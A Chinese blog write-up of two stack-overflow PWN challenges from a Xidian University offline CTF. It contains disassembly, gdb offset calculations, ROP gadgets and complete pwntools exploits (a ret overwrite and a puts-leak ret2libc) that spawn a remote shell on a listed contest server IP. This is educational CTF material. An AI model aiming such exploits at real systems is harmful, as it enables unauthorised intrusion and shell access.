西电线下赛PWN-writeup
2018/07/23

比赛结束了…垃圾的我拿了第六 菜归菜 但是也要继续学习orz

感谢每一位西电的学长

PWN1 EZ

检查保护

ios@ubuntu:~$ checksec ez
[*] '/home/ios/ez'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

保护全关 64位elf

我们IDA分析下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("Guess what I think!");
  puts("233 or 666");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 233 )
    sub_400726();
  if ( v4 == 666 )
    sub_400737();
  if ( v4 == 5438 )
    sub_400748(5438LL);
  return 0LL;
}

main函数中 读完代码你可以发现 puts(“233 or 666”);这里让你输入233或者666 对应内容也可以去跟进函数查看到,这里传入v4=5438时会跳转到sub_400748该函数 我们跟进分析下

int __fastcall sub_400748(int a1)
{
  int result; // eax
  char buf; // [rsp+10h] [rbp-20h]

  puts("You find my secret!");
  puts("So,Tell me your name!");
  read(0, &buf, 0x50uLL);
  result = printf("I have remembered you, %s", &buf);
  if ( a1 == 233 )
    result = system("/bin/sh");
  return result;
}

漏洞很明显在read函数处 32位下的话应该是有两解变量覆盖及rop 具体可以参考iscc的WP ISCC-login (ORZ)所以此题利用方式类似 就不在赘述了 (大晚上写wp有点累 偷个懒0.0)

exp

from pwn import *
#p = process('ez')本地测试...
#p = remote('192.168.3.222',10001)内网线下
p = remote('118.25.227.117',10001)#外网目前可用
p.recv()
p.sendline('5438')
p.recv()
payload = 'A'*32+'b'*8+p64(0x4007A1)
p.sendline(payload)
p.interactive()

尝试运行

1

PWN2 stack-relro

感谢因幡师傅 感谢去去去师傅~

顺便推一下如果你也喜欢CTF真的很推荐来西电 学长们很友好也很愿意耐心解答问题

那我们继续看题

检查保护

ios@ubuntu:~$ checksec relro
[*] '/home/ios/relro'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开启 RELRO NX

RELRO分为Full RELRO和Partial RELRO

开启FULL_RELRO后,GOT表只能读 限制了修改got表

我们载入ida分析下

_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  char **v5; // [rsp+0h] [rbp-20h]
  int v6; // [rsp+18h] [rbp-8h]
  int v7; // [rsp+1Ch] [rbp-4h]

  v5 = a2;
  v7 = 0;
  sub_4009D6(a1, a2, a3);
  v3 = "Welcome to easy message system.";
  puts("Welcome to easy message system.");
  while ( !v7 )
  {
    sub_400A7F(v3);
    printf("Your choose: ", v5);
    v3 = "%d";
    __isoc99_scanf("%d", &v6);
    switch ( v6 )
    {
      case 2:
        sub_400B70();
        break;
      case 3:
        v3 = "Exit";
        puts("Exit");
        v7 = 1;
        break;
      case 1:
        sub_400AC2("%d", &v6);
        break;
      default:
        v3 = "invalid choose";
        puts("invalid choose");
        break;
    }
  }
  if ( dest )
  {
    free(dest);
    dest = 0LL;
  }
  return 0LL;
}

这里的高难度做法等回去继续学习0.0今晚用基本的来解题

找到存在漏洞函数 case 1: sub_400AC2();

int sub_400AC2()
{
  int result; // eax
  char *v1; // rax
  char src; // [rsp+0h] [rbp-40h]

  memset(dest, 0, 0x100uLL);
  puts("Input your message:");
  if ( (unsigned int)sub_400BE1(&src, 256LL) == -1 )
  {
    memset(dest, 0, 0x100uLL);
    v1 = dest;
    *(_QWORD *)dest = 7008762548701852247LL;
    *((_WORD *)v1 + 4) = 24948;
    result = puts("Error: read message failde.");
  }
  else
  {
    strncpy(dest, &src, 0xFFuLL);
    result = puts("save message success.");
  }
  return result;
}

我们先看下sub_400BE1()

signed __int64 __fastcall sub_400BE1(__int64 a1, signed int a2)
{
  char buf; // [rsp+17h] [rbp-9h]
  int v4; // [rsp+18h] [rbp-8h]
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; (signed int)i < a2; ++i )
  {
    v4 = read(0, &buf, 1uLL);
    if ( v4 < 0 )
      return 0xFFFFFFFFLL;
    if ( !v4 || i == a2 - 1 || buf == 10 )
    {
      *(_BYTE *)((signed int)i + a1) = 0;
      return i;
    }
    *(_BYTE *)(a1 + (signed int)i) = buf;
  }
  return i;
}

使用了read函数将buf逐个字节读入栈中

然后return回sub_400AC2()

strncpy(dest, &src, 0xFFuLL);

看到如果读入输入成功就执行strncpy()函数将栈中刚输入的字符串复制到堆中 由于char src大小固定所以这里会造成栈溢出

那我们可以来算一下偏移

在strncpy()函数处下断

2

gdb-peda$ file relro
Reading symbols from relro...(no debugging symbols found)...done.
gdb-peda$ b* 0x400B1B
Breakpoint 1 at 0x400b1b
gdb-peda$ r
Starting program: /home/ios/relro 
Welcome to easy message system.
--------------------
1. save message
2. show message
3. exit
--------------------
Your choose: 1
Input your message:
AAAA

得到当前寄存器的值

[----------------------------------registers-----------------------------------]
RAX: 0x603010 --> 0x0 
RBX: 0x0 
RCX: 0x7fffffffde30 --> 0x41414141 ('AAAA')
RDX: 0xff 
RSI: 0x7fffffffde30 --> 0x41414141 ('AAAA')
RDI: 0x603010 --> 0x0 
RBP: 0x7fffffffde70 --> 0x7fffffffdea0 --> 0x400c70 (push   r15)
RSP: 0x7fffffffde30 --> 0x41414141 ('AAAA')
RIP: 0x400b1b (call   0x400770 <strncpy@plt>)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x0 
R10: 0x0 
R11: 0x246 
R12: 0x400810 (xor    ebp,ebp)
R13: 0x7fffffffdf80 --> 0x1 
R14: 0x0 
R15: 0x0

然后计算当前src地址

ida可以看到

char src; // [rsp+0h] [rbp-40h]

所以当前rsp就是src地址

那我们计算当前src距rbp的偏移

Breakpoint 1, 0x0000000000400b1b in ?? ()
gdb-peda$ p/d 0x7fffffffde70-0x7fffffffde30
$1 = 64

因为rbp距离ret的偏移为0x8

所以我们可以得到偏移为72

gdb-peda$ p/d 0x7fffffffde70-0x7fffffffde30 +0x8
$2 = 72

leak memory

关于leak memory 我在博客其他文章都有写到可以去参考

既然可以可以溢出覆盖到ret 那我们基本rop leak即可

同样注意 64位下 参数 从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递

利用ROPgadget搜索可用gadget

ios@ubuntu:~$ ROPgadget --binary relro --only "pop|ret"
Gadgets information
============================================================
0x0000000000400ccc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400cce : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400cd0 : pop r14 ; pop r15 ; ret
0x0000000000400cd2 : pop r15 ; ret
0x0000000000400ccb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400ccf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004008d9 : pop rbp ; ret
0x0000000000400cd3 : pop rdi ; ret
0x0000000000400cd1 : pop rsi ; pop r15 ; ret
0x0000000000400ccd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400746 : ret
0x000000000040028e : ret 0x8f7b
0x0000000000400c56 : ret 0xb60f

Unique gadgets found: 13

那我们这里用rdi

leak

elf = ELF('relro')
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
start_main = 0x400810
rdi = 0x400cd3 #pop rdi ; ret
payload = 'A'*72+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(start_main)
p.sendline(payload)
log.info(p.recvuntil("save message success.\n"))
data =  p.recvuntil('\n', drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)

payload = 先覆盖到ret +覆盖ret位pop_rdi_ret(给puts()赋值 ) +准备泄露的puts_addr+puts_plt(调用puts()函数 )+返回程序开头 start_main

思路

因为我们重新返回到程序头所以会重新执行到main 既然我们leak出了puts函数地址所以我们可以根据提供的libc计算system_addr以及/bin/sh_addr 接着再次rop将/bin/sh参数放入rdi寄存器 然后执行system()调用

exp

puts = u64(data.ljust(8,'\x00'))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system_addr = puts-libc.symbols['puts']+libc.symbols['system']
binsh = next(libc.search('/bin/sh'))
binsh_addr = puts-libc.symbols['puts']+binsh
payload1 = 'A'*72+p64(rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload1)

完整EXP

from pwn import * 

#p = process('./relro')
p = remote('118.25.227.117',10000)
context.log_level = 'debug'
elf = ELF('relro')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
log.info(p.recvuntil("Your choose: "))
p.sendline('1')
log.info(p.recvuntil("Input your message:"))

puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
start_main = 0x400810
fake =0x400A2C
rdi = 0x400cd3 #pop rdi ; ret
payload = 'A'*72+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(start_main)
p.sendline(payload)
log.info(p.recvuntil("save message success.\n"))
data =  p.recvuntil('\n', drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)
system_addr = puts-libc.symbols['puts']+libc.symbols['system']
print hex(system_addr)
log.info(p.recvuntil("Your choose: "))
p.sendline('1')
log.info(p.recvuntil("Input your message:"))
binsh = next(libc.search('/bin/sh'))
binsh_addr = puts-libc.symbols['puts']+binsh
payload1 = 'A'*72+p64(rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload1)
p.interactive()

尝试运行

3

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!